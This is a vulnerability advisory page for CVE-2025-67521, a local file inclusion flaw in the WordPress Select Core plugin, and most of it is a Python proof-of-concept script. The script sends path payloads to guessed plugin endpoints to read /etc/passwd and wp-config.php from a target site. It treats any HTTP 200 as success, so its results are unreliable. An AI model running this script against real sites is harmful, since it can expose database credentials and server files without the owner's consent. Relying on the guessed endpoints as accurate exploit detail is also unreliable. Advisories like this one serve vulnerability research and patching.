CVE-2025-67521

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Select Core select-core allows PHP Local File Inclusion.This issue affects Select Core: from n/a through < 2.6.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Select Core < 2.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-67521 Local File Inclusion PoC
# Target: WordPress Select Core Plugin < 2.6
# Type: Local File Inclusion

import requests
import sys

def test_lfi(target_url, file_path='/etc/passwd'):
    """
    Test for Local File Inclusion vulnerability in Select Core plugin
    """
    # Common vulnerable endpoints in Select Core
    vulnerable_paths = [
        '/wp-content/plugins/select-core/includes/common/front-end-include.php',
        '/wp-content/plugins/select-core/shortcodes/load.php',
        '/wp-content/plugins/select-core/lib/common.php'
    ]
    
    # LFI payload - try to include sensitive files
    payload = file_path
    
    for path in vulnerable_paths:
        url = target_url.rstrip('/') + path
        params = {
            'file': payload  # Common parameter name
        }
        
        try:
            response = requests.get(url, params=params, timeout=10, verify=False)
            if 'root:' in response.text or response.status_code == 200:
                print(f'[+] Potential LFI found at: {url}')
                print(f'[+] File content preview:')
                print(response.text[:500])
                return True
        except requests.RequestException as e:
            print(f'[-] Error testing {url}: {e}')
    
    return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: python cve-2025-67521.py <target_url>')
        sys.exit(1)
    
    target = sys.argv[1]
    print(f'[*] Testing {target} for CVE-2025-67521')
    
    # Test with common sensitive files
    test_files = ['/etc/passwd', '../../../../wp-config.php', '/etc/hosts']
    
    for f in test_files:
        print(f'\n[*] Testing file: {f}')
        if test_lfi(target, f):
            break

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67521
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67521
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67521/
[4] VulDB https://vuldb.com/cve/CVE-2025-67521
[5] https://patchstack.com/database/Wordpress/Plugin/select-core/vulnerability/wordpress-select-core-plugin-2-6-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

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